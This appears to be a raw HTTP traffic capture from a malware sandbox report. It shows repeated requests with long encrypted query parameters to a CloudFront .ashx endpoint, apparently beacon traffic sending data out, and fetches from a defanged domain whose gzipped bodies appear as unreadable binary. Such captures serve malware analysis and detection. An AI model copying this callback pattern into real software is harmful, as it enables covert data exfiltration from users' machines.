Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: fzvvME8xUnFQdNf54VKE-jYw6KSNW5ikwKMxgdQDxQwYr8oSjAKrsw==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/Y/O50oRY4mZGcLghnE/hl7kN6o7do63berPp8I6b9hEpjLCrDgTug3T3SRc0DL8l/N3fFIaCTlgTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:45 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Sjfrb2PB26QbCj5kU2D9mPBkD_oUZsd2d50M8U3Rqywzj-nG7td2fg==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/aaY YTEt5UpR90anDedSCwwlzaMFN/KKrJhv0HKSN7b 4IgVQCGNdqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:46 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: DBw9va6g6pqJlyaA_bafkX7mynBYpGR2R7PZYcIZFDbNSdjPy5H1hQ==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va94pHMK6k0QKwTxIUcsgQ wzdQpwoYb2d3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3NpfoWuurb1IKcd13kdQ6ezgRpy NDNbQiqwkDab6jzz4OWYG8ynVz HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:24 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qj4deuiGY2wM3KChERcIHYri5K49JeyrwIj7ioRZSyXZqoghdJDwmQ==
....


GET /20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9yUCqErzGmATxIUcsgQ w232AJ3j TD6Kbmw8PKJQLPjZXu6Hs6 2B1mHf78MaJ/HnXhYKKFGG/tmSqlaZjCZujn/aHBplicf/A9tnzJAkTVcL53uMd8Iw1AZZY6ZilPCJ PEul3tvEVIsnpzFFnZ1V4Hek0AV9k32wH3ZNkBKlfbDca4SwBvUUrZ RbO4BdX2w3GuEsAb/Lz5gk8LZkHnyAtpD5T D9r8aUNXVhPTwFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2nH5ZYU55Dzftf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9pjRUuDy4QIvRw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:46 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 5-8HCydZhSazkWI4RVVbQnZLUfIPlu9MMaOrc40LQGXZdB3r0r8CdA==
....


GET /20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE6e8rOu6iJpxQC drCF7eFzkjJuEmyP5Qt vpQc1Xk5wfOIY6BQRhaqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AJK03cJewfXPdara8oc4czXxcm/EVczU76JGdHca8wyoaodS jMTxCtzRPFPbxUTw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:24 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 8oMjO69LZMEmwdMuRSnime4GY1H6sd0eSIR1gWI2VY3515mlkpYc3g==
....


GET /20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaHFcCX3EQ9YUkJQv83eyjojkOB3v7aTq0ErWxcpBkHhSQ3kCpSb73om1nmEvUc rycjxAyq7usCx5qEgmrifKxnIUEs13PTDiJJ/15wKFrU1SGap/Piob7  3hNKfF7td emkMrAdFS1TQIhKKaZqZAwv bg5dpl36Bp5Vs8Xody8TJ/fTI8Igkteo22dEcMDgGQnzhNaSY3uIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZeZpA1/oMhqqeAC 5wFKqfvTZXJoH7sCSNaltwz/viKW8JS5HT3qUqk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:24 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: DUHt_Kia2gWLlOkbAK97V6YmaNGx-59VcWKwQJTaKpwHLNkDJmz3dg==
....


GET /20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wusjSmD/os8sE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtrn/ojf9K/ujjVDDR1s6LfAOPQgSHEw2 G6SHRxdq2MvD3uhzVRfMJhfCqXqcp6BQ= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:25 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WUzX6EXCv056gO9PE9jEHt-B3oMrovE_ATXIIlymozBukCmQ50kgzA==
....


GET /20694.ashx?e=/k6kR j50tprzMCAALYrPS0i4Lp/1Apcsg7jyZ2P5QEQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZj0N7bp/0QtQiDxPRY4o5upR90anDedSCVfvEq2UlL/9rBhx7ksr4wcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:46 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XwJHqHzgXBcSUMjFbLaIhh-it5klhqUF0_XI_A6JaBl_zJ6S3v8i_Q==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:46 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a
4b.cloudfront.net (CloudFront)..X-Amz-Cf-Id: XwJHqHzgXBcSUMjFbLaIhh-it
5klhqUF0_XI_A6JaBl_zJ6S3v8i_Q==......


GET /20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQVjr4IQgU6/03VTKOu38TtLPiCC4paVhdM8IevpAZmQJO5dNaLjdAlkjy /njLKqyOfuXRRiyr57Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:26 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: izu7fePQauUJpczTSDMv19A9YZKisNho8OGrebA1rCPhB8XBsie_kg==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:26 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a
4b.cloudfront.net (CloudFront)..X-Amz-Cf-Id: izu7fePQauUJpczTSDMv19A9Y
ZKisNho8OGrebA1rCPhB8XBsie_kg==......


GET /20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge0/mXgn8p3jh6JpZis9f nTddyS4BuUDC9VQA9W/s5rcJ2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSnVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0NpigFYnsU8E= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:29 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: LdN0T-XKiWiYa3plTAqitlmIlkBFYn_F0RtBPfE-diFrVOkqAqg8SA==
....


GET /20694.ashx?e=2v0SNuZrMFxVoN1r7EPlay0i4Lp/1ApcW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZgNhnec1Ge090js0 pge/oATxIUcsgQ wusjSmD/os8tO5dNaLjdAlskBDiV30w9zOaT9t kffdDYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvacfllhTnkPN 1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mNFS4PLhAi9H HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:52 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: zNPwYvwS-l52grGrmUO5Tssy6Y8sCtUnlT2xipLmlOOXtC4wMTYn-w==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:52 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a
4b.cloudfront.net (CloudFront)..X-Amz-Cf-Id: zNPwYvwS-l52grGrmUO5Tssy6
Y8sCtUnlT2xipLmlOOXtC4wMTYn-w==......


GET /20694.ashx?e=yhrBLBbZM9XZ/Qu8ewVmaQkij ZCzqRwoOZ8Vy4PwRAQyol6Hp9Rdg0/niVdnGaSLiESX1gIXlW1/TMhKzXOVw4eC7FKX8Ijj71aclsTdMXuvGWC0MX2mFsTQP0/APMXCuueMgyXhVuhQNbb34rcph0kUKqVSNMZyygPkMrxQuuFzoNt4Ofsjzs1eJiiYYwojgb6v7cXpPu7w RGhL4bCVXoVV2phO0P b/YhL9w2PQdfBkrHn 8nBxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoCeAAG0Tanv 8wrDBPISwNu/8VxkpRT81NdTeugB sfTiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:57 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: DoreyyLmT6Z7geFDC_SoAl8ZVMsItS60enVvwcpjxwcIISyrobcnXw==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:57 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a
4b.cloudfront.net (CloudFront)..X-Amz-Cf-Id: DoreyyLmT6Z7geFDC_SoAl8ZV
MsItS60enVvwcpjxwcIISyrobcnXw==......


GET /20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPD5Sh2iPx4Tl/DvTHZIAKtATxIUcsgQ wusjSmD/os8shJkdH5jOhAHvojBYZTAl2SDGL01oIa7jD3Psqw12eBUNQkrQodbn4W0C6B oLg2/kIgqoM4zGjB6RUS1Mgh81BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLa5/6I3/Sv7o41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCYXwql6nKegU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: od1JIAzGWANoRPFlwsfr5sA6b_Ibd7B0ZS49aGs15ltLf05JtfvPdQ==
....


GET /20694.ashx?e=qIQu8 l0/f0hwgnRr/y ODjso8IixxXcQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerYlunopVUmMPQI8HtM9wp5Tx0cXu7AB1uimF904v4t2DIApimWCrqamBaL9XcwWiqIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:35 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: oXwG15LIX6Q3TFxVTDYC71_fKKrhhNwqXQSr-Xn2b7WTrLuzeu1ANA==
....


GET /20694.ashx?e=657cd9m3NQH2vdzuDiNvxiHCCdGv/L44OOyjwiLHFdxAXdQqxJ1va1k2AtpRMnokIR1sKxPFdTcW0MAg1soRVoKcd13kdQ6ezgRpy NDNbQiqwkDab6jzxP0Yeo45C59vFMPnDLA4k/ 7rPtSKe/ Bucs0iBJB6tiW6eilVSYw95ewo25xH dugxP4Tpn7X9BPEhRyyBD7ADYwDanr6NLoe9XigMTJMs0sa4f4Pfg2ziLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 a1f7dccda76e63b2a1a4c1c034019a4b.cloudfront.net (CloudFront)
X-Amz-Cf-Id: t_FnyhDLcniO95uhTd_Gto4wpwiYX5Ef38pOIS3U1QAypA1O_4YnAA==



GET /css/style.css HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: text/css
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
53f.............X.n.8.=._..1....%.8../s.o.(..9.D..;I.....&jq...4.R.X.{
....$.Z......f.o3JxUN.7w3....x....V...g.x%..UF..R.c]$G%............^..
...b...qvUQU.:Y......K.}/k.......|..1.....n.-S|.8#......l......../..B&
gt;'...#.]../.:!.w.7/......g^.C....3...J...|.e.b...=....2...._...wp...
7....j....I.ee.a.L..{3Y7/....d^....Z.........f6.L..jv.....ql.mA-...Dau
......x.^...........8......:.l..u]1x..7`Z....5.5.`...?.n...-..d.)..)F.
...z..n......"3.Bh...E.r....Nl.W..R%...k..I.... 49`...{ue>.'....L..
...........c.*iN.......?....L.B..%... ...1.b...._....S`.9..S.....B....
.2y.....`.....Zugx.:O)}........C.?]....%......(4...d...... ..0./.!.S..
%.%...d...f.b.J.i..-.][email protected]>0"..(
....L./...4[..;n.x..=.(..A...P.T..AD.X .\x......D.Gq6&p)x.b._...7..D..
.''....C..jA,.......Q..7.. #..3.{...1..p..:..Y....P...0g ..&.......k{.
E....JV.......=..y:[email protected].. `.[.\t"..g8...b*X..aZ...\...'.<Z
/........a..0.v.n..4|.......G.S. D..g7..;.....m./.U..j}`..~....yP...#"
....3;T%.g.1....Y^B.....J.........|..:.s.5.l...C....M.W..fk.......c...
.K..a..}."......n...#....._.iV....u.-d..f...:=..|..T..Nr...E.P6.hK{7..
.r...#=.P..T.6.t...S....x......Oaq........#..:9....5Xa.q{..I!........8
.Z)..BQ.x..?6..{^.<Q...|[email protected].}w...e..!..........(....3..P
..6...M.t..t.Z8%....9.....5...o.H.....P.......c..p..CTu..~..[..PP.....
...... ....la..5 bv.@......|.......0......
<<< skipped >>>

GET /css/lightbox.css HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: text/css
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
487.............WM..6...W...$..._k.h.o...$.6.....(.0%.$.]o...!)....|..
...E.g...7.....A..r]Ob)=F.........7zW.<..`....!TrI..E.p$9. ...*^...
w....}uh........R...!*..h.~..1....p!S.r. ...<U...[....1U..W.....>
;.uw.....%..................P .g..m......m........r0............%.....
..IqN..<f..&.e.}B......x.....p...l.$..H"hj .6. ........{:.)n.g&.*4.
W\.....-..7Y....q..D_.e..XrY.p((. ...>q. A.V.`*.....|_$N.......x...
.^9.!e...q....v..B.EF!u>.q....U....8.{...5.....W..7.....8!?[..N?q..
...........:.t.....%4.......T..<s.k.xR...[B.im.(..&.....y...`.R...r
.enB.B.L.b...=......G.$...Q.......@9h..J.IB.L..NE.....C.cH....m.W.o...
.........-G.....>.yy....5C.MX.......rk..bl...B_......51^..e.e.. .9.
xpW....k......E.T.M...}.'X..,x..j.%Y.'.|...'....y.<n....y.........]
}.....o....H...wA..z..h.8.[.......\7PK."..]'..C...M.-]J.....J.X..w..mq
...R..j.b.o..S{xB....e......E....... .. %.gG...........&..3-.^..4j.l..
t)..%(..C. .W....K%..P..6...t...p..Kej..oW#E=.*Y.=.\. ........v...s...
..p}K3B..03W{.._io.....]...>.*Q..~..Z..........62$..Pv&.<....!..
xm..l.....m'..vC3./b\.......%}...f.y;.v.Yry...}.r.#V..yTqf.!SIC31....b
.....v=..H.|..C.b.l0`\.v.f.uU..4......w....B.O^.....E..^H]d%.A..T?F..)
4........0......


GET /js/lightbox.js HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:54 GMT
Content-Type: application/x-javascript
Last-Modified: Wed, 21 Aug 2013 16:47:03 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Thu, 12 Feb 2015 06:03:54 GMT
Cache-Control: max-age=1800
Content-Encoding: gzip
bde.............Zyo.......SUXJ..JR..:....t..q..X.A.P.H..".<|..w....
K...N`.3..y...h...4^o.ev....O...7.4........A....,w.........H..a...^g9.
f9gq...mP.Y:g.q...#...Z...7..."Q../F`$.i.#[email protected].....(.<^V
D..].`,....o..g..D..b..Y.h1:b..s.~YU..l.....y..A..4b...a.W.-...~......
,..e..YP...L.-...$N/.........~.AX..0:...E.....,.?ve.N ...$.....%....U.
.f.fJ./.m.q..(.o.mP..U.)..8...J2.*fb.q..b....M..4..xY. ."/.....|]-yz..
i..7>mF...fZ....';.[..p>.z..$(yQ....HP..Z..z....F..2.,[.0...e1z.
.1.x..#.H).v....e^.e..-N...xJX....$.......B].7.`M.E.oNd.8..]l. ='6....
.../9.&t"..'Y....z...V..MI.o..2..H.Gq...PK^..'...F..!{.R~.=.....v..f.j
.#.e..R.r:c..1v.c...*...>.a.....{........:V,aL.i.VtiI.....'....R.6o
..y-H......{*.:@'IV..rAB..w......a..r.j.....u.A.N?iL'..'..X<.k.b...
